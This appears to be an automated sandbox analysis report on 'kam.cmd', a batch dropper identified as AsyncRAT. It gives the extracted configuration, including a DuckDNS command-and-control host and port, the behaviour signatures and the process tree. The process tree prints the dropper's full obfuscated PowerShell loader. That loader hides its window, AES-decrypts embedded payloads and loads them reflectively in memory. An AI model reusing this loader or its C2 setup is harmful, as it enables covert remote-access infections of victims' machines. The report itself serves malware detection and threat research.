Analysis

  • max time kernel
    138s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/05/2024, 19:11

General

  • Target
    kam.cmd
  • Size 71KB
  • Sample240507-xv3hwsdf46
  • SHA256 1e1f84aa15902363969bee73264df36152eab8b320be831d0a5a65caef23416c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • asyncrat

Version
  • 0.5.7B

Botnet
  • Default

C2
  • hjdsasync.duckdns.org:8797

Mutex
  • AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\kam.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1736
    • C:\Windows\system32\cmd.exe
      cmd /c \"set __=^&rem\
      2⤵
        PID:3596
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\kam.cmd
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4880
        • C:\Windows\system32\cmd.exe
          cmd /c \"set __=^&rem\
          3⤵
            PID:3040
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\kam.cmd';$qSAG='EnSffYtrySffYPoSffYintSffY'.Replace('SffY', ''),'CBBdMhanBBdMgeBBdMExBBdMtenBBdMsioBBdMnBBdM'.Replace('BBdM', ''),'TrLPmranLPmrsfLPmroLPmrrmLPmrFLPmrinLPmralLPmrBlLPmrockLPmr'.Replace('LPmr', ''),'InvzELzozELzkezELz'.Replace('zELz', ''),'MatnfoitnfonMtnfootnfodtnfouletnfo'.Replace('tnfo', ''),'DtlQoetlQocotlQomprtlQoestlQostlQo'.Replace('tlQo', ''),'EleXMzGmXMzGenXMzGtXMzGAtXMzG'.Replace('XMzG', ''),'SOkrRplOkrRitOkrR'.Replace('OkrR', ''),'ReaQznUdLQznUiQznUneQznUsQznU'.Replace('QznU', ''),'CrjFBcejFBcajFBcteDjFBcecjFBcrypjFBctorjFBc'.Replace('jFBc', ''),'LgEVaoagEVadgEVa'.Replace('gEVa', ''),'CodOaWpdOaWyTdOaWodOaW'.Replace('dOaW', ''),'FrkVTNomkVTNBkVTNakVTNskVTNekVTN6kVTN4SkVTNtrkVTNikVTNngkVTN'.Replace('kVTN', ''),'GeiMsDtCuiMsDrriMsDeiMsDntiMsDProiMsDceiMsDssiMsD'.Replace('iMsD', '');powershell -w hidden;function RdFsc($CpxPp){$QfDSl=[System.Security.Cryptography.Aes]::Create();$QfDSl.Mode=[System.Security.Cryptography.CipherMode]::CBC;$QfDSl.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$QfDSl.Key=[System.Convert]::($qSAG[12])('pRHJzKhmI3RkRABzCJVkPtoD+hb5IQkRROSkbWaJrUU=');$QfDSl.IV=[System.Convert]::($qSAG[12])('4ulSG/xSNuu9Ws2XwfKH6A==');$HVEcU=$QfDSl.($qSAG[9])();$PEKXs=$HVEcU.($qSAG[2])($CpxPp,0,$CpxPp.Length);$HVEcU.Dispose();$QfDSl.Dispose();$PEKXs;}function AakMh($CpxPp){$ZHfVm=New-Object System.IO.MemoryStream(,$CpxPp);$VqmtR=New-Object System.IO.MemoryStream;$VQXPP=New-Object System.IO.Compression.GZipStream($ZHfVm,[IO.Compression.CompressionMode]::($qSAG[5]));$VQXPP.($qSAG[11])($VqmtR);$VQXPP.Dispose();$ZHfVm.Dispose();$VqmtR.Dispose();$VqmtR.ToArray();}$piVir=[System.IO.File]::($qSAG[8])([Console]::Title);$INknU=AakMh (RdFsc ([Convert]::($qSAG[12])([System.Linq.Enumerable]::($qSAG[6])($piVir, 5).Substring(2))));$nPXJG=AakMh (RdFsc ([Convert]::($qSAG[12])([System.Linq.Enumerable]::($qSAG[6])($piVir, 6).Substring(2))));[System.Reflection.Assembly]::($qSAG[10])([byte[]]$nPXJG).($qSAG[0]).($qSAG[3])($null,$null);[System.Reflection.Assembly]::($qSAG[10])([byte[]]$INknU).($qSAG[0]).($qSAG[3])($null,$null); "
            3⤵
              PID:2964
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -ep bypass
              3⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2112
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2728

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              __PSScriptPolicyTest_3vurzuwg.35e.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3vurzuwg.35e.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              memory/2112-20-0x0000000006DA0000-0x0000000006DE4000-memory.dmp

              memory/2112-44-0x000000000AE30000-0x000000000B3D4000-memory.dmp

              memory/2112-3-0x0000000074FD0000-0x0000000075780000-memory.dmp

              memory/2112-4-0x0000000005A50000-0x0000000005A72000-memory.dmp

              memory/2112-5-0x0000000006270000-0x00000000062D6000-memory.dmp

              memory/2112-6-0x00000000062E0000-0x0000000006346000-memory.dmp

              memory/2112-7-0x0000000074FD0000-0x0000000075780000-memory.dmp

              memory/2112-1-0x0000000003310000-0x0000000003346000-memory.dmp

              memory/2112-17-0x0000000006350000-0x00000000066A4000-memory.dmp

              memory/2112-18-0x0000000006810000-0x000000000682E000-memory.dmp

              memory/2112-19-0x00000000068B0000-0x00000000068FC000-memory.dmp

              memory/2112-0-0x0000000074FDE000-0x0000000074FDF000-memory.dmp

              memory/2112-2-0x0000000005BD0000-0x00000000061F8000-memory.dmp

              memory/2112-21-0x0000000007B00000-0x0000000007B76000-memory.dmp

              memory/2112-38-0x0000000005670000-0x0000000005682000-memory.dmp

              memory/2112-48-0x0000000074FD0000-0x0000000075780000-memory.dmp

              memory/2112-47-0x0000000074FD0000-0x0000000075780000-memory.dmp

              memory/2112-46-0x0000000074FDE000-0x0000000074FDF000-memory.dmp

              memory/2112-23-0x0000000007BA0000-0x0000000007BBA000-memory.dmp

              memory/2112-39-0x0000000005680000-0x000000000568E000-memory.dmp

              memory/2112-40-0x0000000007C70000-0x0000000007C82000-memory.dmp

              memory/2112-43-0x0000000008150000-0x00000000081EC000-memory.dmp

              memory/2112-22-0x0000000008200000-0x000000000887A000-memory.dmp

              memory/2728-37-0x0000000074FD0000-0x0000000075780000-memory.dmp

              memory/2728-25-0x0000000074FD0000-0x0000000075780000-memory.dmp

              memory/2728-24-0x0000000074FD0000-0x0000000075780000-memory.dmp